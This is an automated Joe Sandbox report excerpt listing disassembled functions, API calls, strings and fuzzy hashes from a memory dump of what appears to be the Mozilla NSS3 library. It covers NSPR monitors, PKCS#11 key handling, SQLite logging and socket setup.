Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction ID: 2d60bbe815ac81a4896478a9787ded7bfd1f4963cc2afb25261531067d20fa7d
Opcode Fuzzy Hash: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction Fuzzy Hash: B011C6B6B01111ABDB10AFA5ED44A9AB77CFF0425C7204121EA09C7E01E732E424C7E1

Function 6CEE2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2CEC

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2D02
PR_EnterMonitor.NSS3(?), ref: 6CEE2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEE2D42
PR_ExitMonitor.NSS3(?), ref: 6CEE2D5B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8907c967f9e9912e4e0dec3ed7584703bd2767958de9afd294b055fd5cb5b9d8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8101A1B1A042015BE6309E26FC40BC7B7B1EB69398F204525E95D86B20E632E91586D3

Function 6CEE2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2D9C

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEE2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEE2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEE2E0B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 1b59c3495bb2ae4646ca79231e536334f2bebdf9b1ad928263c0ddd0989dcc6b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: BD01A1B1A046015FEA309E26FC01BC7B7B1EB59398F204539E95D86B20E632E9258693

Function 6CE7AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?), ref: 6CE7AEA3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction ID: b33685a820f96971ab90b3d2ddeceddfc9c544601bbf6c34f563a30379a1dd60
Opcode Fuzzy Hash: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction Fuzzy Hash: 5101D173B9401057E621926DAC81BAB3178CB9769CB281036E809D7B01F616C98A83B3

Function 6CF6BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDC3
free.MOZGLUE(?,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE21
free.MOZGLUE(00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE32

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction ID: 99b1484a6b3a0ccb7248d52e446499b11c61bd8816f26dcd3952298718ca1f74
Opcode Fuzzy Hash: b4a55f63fb6e364eaa41e3694dfb743fc1e639caee5ce0c8ca82e570c355befe
Instruction Fuzzy Hash: 921118B6F252009FDF80DF69D88DB463BB5FB4B294B140429E50AC7710E733A414CB99

Function 6CF67C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF67C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67C83
malloc.MOZGLUE(00000001), ref: 6CF67C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF67C9F
PR_GetCurrentThread.NSS3 ref: 6CF67CAD

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction ID: 6828da1155f8ac9f7ced9b62347f6dcdc204f52666d0c92ff80bb99195d5d1ab
Opcode Fuzzy Hash: a2d4d73e5206aa9ef0a53dd2e2c1d16bede8b08dfe8e8a5b00c2f0281b4c5fed
Instruction Fuzzy Hash: C3F0C8B19102066FD7009F77AC059577758EF00369B118436EC19C7F00EB31E214CAD5

Function 6CF6ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE0D
free.MOZGLUE(?), ref: 6CF6AE14
DeleteCriticalSection.KERNEL32(6CF6A6D8), ref: 6CF6AE36
free.MOZGLUE(?), ref: 6CF6AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF6A6D8), ref: 6CF6AE47

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction ID: 4909c80b31314bebaf375cbbc07f2ca2f0829f7aeaec500efc945279f99da093
Opcode Fuzzy Hash: 1e71f323db2b2b251e4a7df1e79eba7e4815af81c67a959573f2b3c7b3cd8a15
Instruction Fuzzy Hash: 91F09675601A01E7CA109FE9E808B5BF7B8BF86775B140329E52A83940D733F115C7D5

Function 6CDF7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF7D35

Strings

%s at line %d of [%.10s], xrefs: 6CDF7D2E
database corruption, xrefs: 6CDF7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF7D13, 6CDF7D1F, 6CDF7D47, 6CDF7D53, 6CDF7D5F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction ID: 69263e479fadb3fe30804858431d8a2f16f8ff31876a1e53eda9f97452c396eb
Opcode Fuzzy Hash: 2661079799aa608fb32f09002fa00b9edddb554ad1571d443ba7f28341c287bc
Instruction Fuzzy Hash: CA31E371E04229A7D7108F9ECC809F9B7F1BF88209B9B0196E494B7A95D271DC52C7B4

Function 6CDE6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CDE6D36

Strings

%s at line %d of [%.10s], xrefs: 6CDE6D2F
database corruption, xrefs: 6CDE6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE6D20

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction ID: 94a4ecb7f9e4730dc5514daf512dd12436849642400c27a2e50cf4badaf2f329
Opcode Fuzzy Hash: 49fd2c50f4461f54abf6c6c10a84fe7ba5cb6910e1b4f6db49bd7792df4d8531
Instruction Fuzzy Hash: 8B21F470600309DBC710CF1AC841B5EB7F2AF89318F64892DD9499BF61E3B1F94687A2

Function 6CEC2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEC32C2,<+l,00000000,00000000,?), ref: 6CEC2FDA

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEC300B

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEC302A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

Part of subcall function 6CE9C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CE9C45D
Part of subcall function 6CE9C3D0: TlsGetValue.KERNEL32 ref: 6CE9C494
Part of subcall function 6CE9C3D0: EnterCriticalSection.KERNEL32(?), ref: 6CE9C4A9
Part of subcall function 6CE9C3D0: PR_Unlock.NSS3(?), ref: 6CE9C4F4

Strings

<+l, xrefs: 6CEC2FD0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 423ea4613cf585afaa988cb8447913d51fec9f20990332d10d9d5a7cc420f83e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 5511C4B7B002046BDB008E659D01AEB77B99B8427CF384138E81CD7780E772E915C7A1

Function 6CF1CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF1CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF1CC7B), ref: 6CF1CD7A
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF1CD8E
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF1CDA5
Part of subcall function 6CF1CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF1CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF1CCB5
memcpy.VCRUNTIME140(6CFB14F4,6CFB02AC,00000090), ref: 6CF1CCD3
memcpy.VCRUNTIME140(6CFB1588,6CFB02AC,00000090), ref: 6CF1CD2B

Part of subcall function 6CE39AC0: socket.WSOCK32(?,00000017,6CE399BE), ref: 6CE39AE6
Part of subcall function 6CE39AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE399BE), ref: 6CE39AFC

Part of subcall function 6CE40590: closesocket.WSOCK32(6CE39A8F,?,?,6CE39A8F,00000000), ref: 6CE40597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF1CCB0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction ID: 9e3874462813c0f3dfcf32ecefd06db54fa54adc545432667a75c36362166bac
Opcode Fuzzy Hash: dc5fadb2d424c5e159d4b5729c9f0114d1f8eb6a6b749cf85556905586e5ac72
Instruction Fuzzy Hash: A9119AF6F242405FDB809F5B9E8678277B89356218F149139E406DBF41E772D40887D9

Function 6CDE7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDE8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDE8255
sqlite3_free.NSS3(00000000), ref: 6CDE8260

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction ID: bdab64342f05933e8abeb5b8aa4d76b1e57bd9607ed5ac9899c1d607f814be7a
Opcode Fuzzy Hash: 96e4134d4b122f4c2f5dfe5987dab0486b7b35ee243f42fa06f80ecb9185975b
Instruction Fuzzy Hash: 8991BD31E11608CFEF44CFE9ED987ADBBB1BF0A304F24402AD41A9B664DB355955CB81

Function 6CEC1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEC1D8F

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEC1DA6

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEC1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC1ED0

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction ID: bddd3568eef720674fec2bed323410a23ff43ccd3b43a91374e7f78d63f4a5ce
Opcode Fuzzy Hash: 3aab6cd69f0d21ee2cba2e513d8368d70e4d737c7690c51185aba1b1331d616e
Instruction Fuzzy Hash: 32515875A00309CFDB04CFD8C984BAEBBB6BF49318F244129E829AB750D731E945CB91

Function 6CF14FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDF85D2,00000000,?,?), ref: 6CF14FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF150D6

